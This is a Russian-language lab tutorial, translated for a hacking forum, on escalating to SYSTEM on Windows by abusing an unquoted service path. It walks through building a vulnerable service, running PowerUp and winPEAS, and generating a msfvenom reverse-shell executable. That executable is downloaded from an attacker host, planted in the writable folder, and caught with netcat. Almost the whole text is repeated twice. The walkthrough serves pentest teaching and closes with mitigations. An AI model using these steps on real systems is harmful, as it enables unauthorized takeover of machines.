Microsoft Windows предлагает широкий спектр детализированных разрешений и привилегий для управления доступом к компонентам Windows, включая службы, файлы и записи реестра. Эксплуатация Unquoted Service path - это один из способов повышения привилегий.
Путь без кавычек или Путь службы без кавычек описывается как критическая уязвимость в Windows, такая уязвимость позволяет злоумышленнику повысить привилегию до NT AUTHORITY/SYSTEM для учетной записи пользователя с низкими привилегиями.
Введение
Путь к службе без кавычек
Если путь к двоичному файлу службы не заключен в кавычки и содержит пробелы, то для для установленной службы это называется - Путь без кавычек для службы. В результате локальный пользователь сможет повысить привилегию до уровня административной оболочки, поместив исполняемый файл в каталог более высокого уровня в пределах пути.
Mitre ID : T1574.009
Тактика: повышение привилегий и персистенотность
Платформы: Windows
Анализ уязвимостей
Windows API должен предполагать, где найти указанное приложение, если путь содержит пробелы и не заключен в кавычки. Если, например, служба использует путь без кавычек:
Уязвимая служба: C:\Program Files\Ignite Data\Vuln Service\file.exe
Система прочитает этот путь в следующей последовательности от 1 до 4, чтобы запустить malicous.exe через доступный для записи каталог.
C:\Program.exe
C:\Program Files\Ignite.exe
C:\Program Files\Ignite Data\Vuln.exe
C:\Program Files\Ignite Data\Vuln Service\file.exe
Требования
Целевая машина: Windows 10
Хакер: Kali Linux
Инструменты: SubinACL (https://windows-resource-kit-tools-subinacl-exe.software.informer.com/download/), PowerUP.ps1 (https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1), Winpeas (https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS) .
Условие: скомпрометируйте целевую машину с помощью доступа с низким уровнем привилегий с помощью Metasploit или Netcat и т. д.
Цель: повысить привилегии до NT Authority/SYSTEM для пользователя с низкими привилегиями, используя уязвимость пути без кавычек.
Лабораторный стенд
Чтобы настроить уязвимую среду для Unquoted Path, нам нужны учетные записи пользователей. Здесь у нас есть пользователь "ignite", который является членом группы администраторов, и "Shreya", который является членом группы пользователей.
net user ignite
net user shreya
Шаги по настройке уязвимой среды
Шаг 1. Создайте новую папку и подпапку и назовите их "Ignite Data" и "Vuln Service" соответственно.
mkdir "C:\Program Files\Ignite Data\Vuln Service"
Шаг 2. Создайте уязвимую службу с именем file.exe
sc create "vulns" binpath= "C:\Program Files\Ignite Data\Vuln Service\file.exe" start= auto
Шаг 3: Предоставьте возможность записи BUILTIN\Users в папку Ignite Data с помощью icacls
icacls "C:\Program Files\Ignite Data" /grant "BUILTIN\Users":W
icacls - это программа командной строки Microsoft Windows, которая может отображать и изменять разрешения для каталогов и файлов.
1
Шаг 4: Чтобы создать уязвимый сервис, нам нужно назначить некоторую токсичную привилегию с помощью SubinACL (https://windows-resource-kit-tools-subinacl-exe.software.informer.com/download/) , чтобы изменить разрешение сервисов.
Примечание:
SubInACL - это малоизвестный инструмент командной строки от Microsoft, но это один из лучших инструментов для работы с разрешениями безопасности в Windows. Этот инструмент может изменять разрешения для файлов, папок, ключей реестра, служб, принтеров, общих ресурсов кластера и различных других типов объектов.
Шаг 5: После загрузки SubinACL выполните следующую команду, чтобы назначить пользователю ignite разрешений PTO для службы "Pentest".
subinacl.exe /service vulns /grant=msedgewin10\shreya=PTO
Абузинг Unquoted Service Paths
Злоупотребление службой без кавычек - это метод, который использует небезопасные права доступа к файлам для повышения привилегий для локальных пользователей. Загрузите сценарий PowerUp.ps1 внутри Kali Linux, который вернет имя и двоичный путь для служб с путями без кавычек, которые также имеют пробел в имени.
wget https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
python –m SimpleHTTPServer 80
Получите начальный доступ к целевой машине, передайте PowerUp.ps1 и выполните команду Get-UnquotedService, которая будет использовать Get-WmiObject для запроса всех объектов win32_service и извлечения двоичного пути для каждого из них. Затем проверьте, есть ли в каких-либо двоичных путях пробел и не заключены ли они в кавычки.
nc –lvp 1245
powershell
wget http://192.168.1.3/PowerUp.ps1 -o PowerUP.ps1
powershell –ep bypass
Import-Module .\PowerUp.ps1
Get-UnquotedService
В результате мы получили путь к файлу file.exe, как показано на изображении ниже.
1
Сверху мы получили три подкаталога: "Program Files", "Ignite Data" и "Vuln Service", и для каждого каталога мы используем icacls для проверки разрешений.
icacls "C:\Program Files"
icacls "C:\Program Files\Ignite Data"
icacls "C:\Program Files\Ignite Data\Vuln Service"
Здесь мы обнаружили, что BUILTIN\Users имеет права на запись для "Ignite Data"
Используя автоматический скрипт WinPEASx64, мы получаем подозрительный файл и папку по пути без кавычек.
winPEASx64.exe quiet servicesinfo
Мы видим что результат тот же.
Пришло время использовать слабые сконфигурированные сервисы, чтобы получить привилегии для пользователя Shreya. Поскольку мы знаем, что имя папки без кавычек - Vuln Service, мы создадим файл с именем Vuln.exe с помощью msfvenom.
msfvenom –p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > Vuln.exe
python –m SimpleHTTPServer 80
Запустите новый экземпляр netcat в новом терминале и перенесите Vuln.exe в папку "Ignite Data" целевой машины. Поскольку Shreya является членом BUILTIN/Users, то он имеют разрешение на запись для "Ignite Data", и перезапуск службы приведет к реверс соединению.
cd c:\Program Files\Ignite Data
powershell wget http://192.168.1.3/Vuln.exe -o Vuln.exe
net start vulns
Как только служба запустится, злоумышленник получит реверс соединение в новом сеансе netcat с правами NT Authority\system
nc –lvp 8888
whoami
Даже если у пользователя есть возможность перезапустить систему, этот подход автоматически перезапустит службу Vuln.exe, которая запустит реверс соединение.
shutdown /r /t 0
Как только служба запустится, злоумышленник получит реврес соединение в новом сеансе netcat как NT Authority\system
nc –lvp 8888
Защита
Решение уязвимости: убедитесь, что все службы, содержащие пробел в пути, заключены путь в кавычки.
Ограничить права доступа к файлам и каталогам: ограничить доступ, установив права доступа к каталогам и файлам, не относящиеся к пользователям или привилегированным учетным записям.
Предотвращение выполнения: блокируйте выполнение кода в системе с помощью управления приложениями и/или блокировку скриптов.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/windows-privilege-escalation-unquoted-service-path/
Путь без кавычек или Путь службы без кавычек описывается как критическая уязвимость в Windows, такая уязвимость позволяет злоумышленнику повысить привилегию до NT AUTHORITY/SYSTEM для учетной записи пользователя с низкими привилегиями.
Введение
Путь к службе без кавычек
Если путь к двоичному файлу службы не заключен в кавычки и содержит пробелы, то для для установленной службы это называется - Путь без кавычек для службы. В результате локальный пользователь сможет повысить привилегию до уровня административной оболочки, поместив исполняемый файл в каталог более высокого уровня в пределах пути.
Mitre ID : T1574.009
Тактика: повышение привилегий и персистенотность
Платформы: Windows
Анализ уязвимостей
Windows API должен предполагать, где найти указанное приложение, если путь содержит пробелы и не заключен в кавычки. Если, например, служба использует путь без кавычек:
Уязвимая служба: C:\Program Files\Ignite Data\Vuln Service\file.exe
Система прочитает этот путь в следующей последовательности от 1 до 4, чтобы запустить malicous.exe через доступный для записи каталог.
C:\Program.exe
C:\Program Files\Ignite.exe
C:\Program Files\Ignite Data\Vuln.exe
C:\Program Files\Ignite Data\Vuln Service\file.exe
Требования
Целевая машина: Windows 10
Хакер: Kali Linux
Инструменты: SubinACL (https://windows-resource-kit-tools-subinacl-exe.software.informer.com/download/), PowerUP.ps1 (https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1), Winpeas (https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS) .
Условие: скомпрометируйте целевую машину с помощью доступа с низким уровнем привилегий с помощью Metasploit или Netcat и т. д.
Цель: повысить привилегии до NT Authority/SYSTEM для пользователя с низкими привилегиями, используя уязвимость пути без кавычек.
Лабораторный стенд
Чтобы настроить уязвимую среду для Unquoted Path, нам нужны учетные записи пользователей. Здесь у нас есть пользователь "ignite", который является членом группы администраторов, и "Shreya", который является членом группы пользователей.
net user ignite
net user shreya
Шаги по настройке уязвимой среды
Шаг 1. Создайте новую папку и подпапку и назовите их "Ignite Data" и "Vuln Service" соответственно.
mkdir "C:\Program Files\Ignite Data\Vuln Service"
Шаг 2. Создайте уязвимую службу с именем file.exe
sc create "vulns" binpath= "C:\Program Files\Ignite Data\Vuln Service\file.exe" start= auto
Шаг 3: Предоставьте возможность записи BUILTIN\Users в папку Ignite Data с помощью icacls
icacls "C:\Program Files\Ignite Data" /grant "BUILTIN\Users":W
icacls - это программа командной строки Microsoft Windows, которая может отображать и изменять разрешения для каталогов и файлов.
Шаг 4: Чтобы создать уязвимый сервис, нам нужно назначить некоторую токсичную привилегию с помощью SubinACL (https://windows-resource-kit-tools-subinacl-exe.software.informer.com/download/) , чтобы изменить разрешение сервисов.
Примечание:
SubInACL - это малоизвестный инструмент командной строки от Microsoft, но это один из лучших инструментов для работы с разрешениями безопасности в Windows. Этот инструмент может изменять разрешения для файлов, папок, ключей реестра, служб, принтеров, общих ресурсов кластера и различных других типов объектов.
Шаг 5: После загрузки SubinACL выполните следующую команду, чтобы назначить пользователю ignite разрешений PTO для службы "Pentest".
subinacl.exe /service vulns /grant=msedgewin10\shreya=PTO
Абузинг Unquoted Service Paths
Злоупотребление службой без кавычек - это метод, который использует небезопасные права доступа к файлам для повышения привилегий для локальных пользователей. Загрузите сценарий PowerUp.ps1 внутри Kali Linux, который вернет имя и двоичный путь для служб с путями без кавычек, которые также имеют пробел в имени.
wget https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
python –m SimpleHTTPServer 80
Получите начальный доступ к целевой машине, передайте PowerUp.ps1 и выполните команду Get-UnquotedService, которая будет использовать Get-WmiObject для запроса всех объектов win32_service и извлечения двоичного пути для каждого из них. Затем проверьте, есть ли в каких-либо двоичных путях пробел и не заключены ли они в кавычки.
nc –lvp 1245
powershell
wget http://192.168.1.3/PowerUp.ps1 -o PowerUP.ps1
powershell –ep bypass
Import-Module .\PowerUp.ps1
Get-UnquotedService
В результате мы получили путь к файлу file.exe, как показано на изображении ниже.
Сверху мы получили три подкаталога: "Program Files", "Ignite Data" и "Vuln Service", и для каждого каталога мы используем icacls для проверки разрешений.
icacls "C:\Program Files"
icacls "C:\Program Files\Ignite Data"
icacls "C:\Program Files\Ignite Data\Vuln Service"
Здесь мы обнаружили, что BUILTIN\Users имеет права на запись для "Ignite Data"
Используя автоматический скрипт WinPEASx64, мы получаем подозрительный файл и папку по пути без кавычек.
winPEASx64.exe quiet servicesinfo
Мы видим что результат тот же.
Пришло время использовать слабые сконфигурированные сервисы, чтобы получить привилегии для пользователя Shreya. Поскольку мы знаем, что имя папки без кавычек - Vuln Service, мы создадим файл с именем Vuln.exe с помощью msfvenom.
msfvenom –p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > Vuln.exe
python –m SimpleHTTPServer 80
Запустите новый экземпляр netcat в новом терминале и перенесите Vuln.exe в папку "Ignite Data" целевой машины. Поскольку Shreya является членом BUILTIN/Users, то он имеют разрешение на запись для "Ignite Data", и перезапуск службы приведет к реверс соединению.
cd c:\Program Files\Ignite Data
powershell wget http://192.168.1.3/Vuln.exe -o Vuln.exe
net start vulns
Как только служба запустится, злоумышленник получит реверс соединение в новом сеансе netcat с правами NT Authority\system
nc –lvp 8888
whoami
Даже если у пользователя есть возможность перезапустить систему, этот подход автоматически перезапустит службу Vuln.exe, которая запустит реверс соединение.
shutdown /r /t 0
Как только служба запустится, злоумышленник получит реврес соединение в новом сеансе netcat как NT Authority\system
nc –lvp 8888
Защита
Решение уязвимости: убедитесь, что все службы, содержащие пробел в пути, заключены путь в кавычки.
Ограничить права доступа к файлам и каталогам: ограничить доступ, установив права доступа к каталогам и файлам, не относящиеся к пользователям или привилегированным учетным записям.
Предотвращение выполнения: блокируйте выполнение кода в системе с помощью управления приложениями и/или блокировку скриптов.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/windows-privilege-escalation-unquoted-service-path/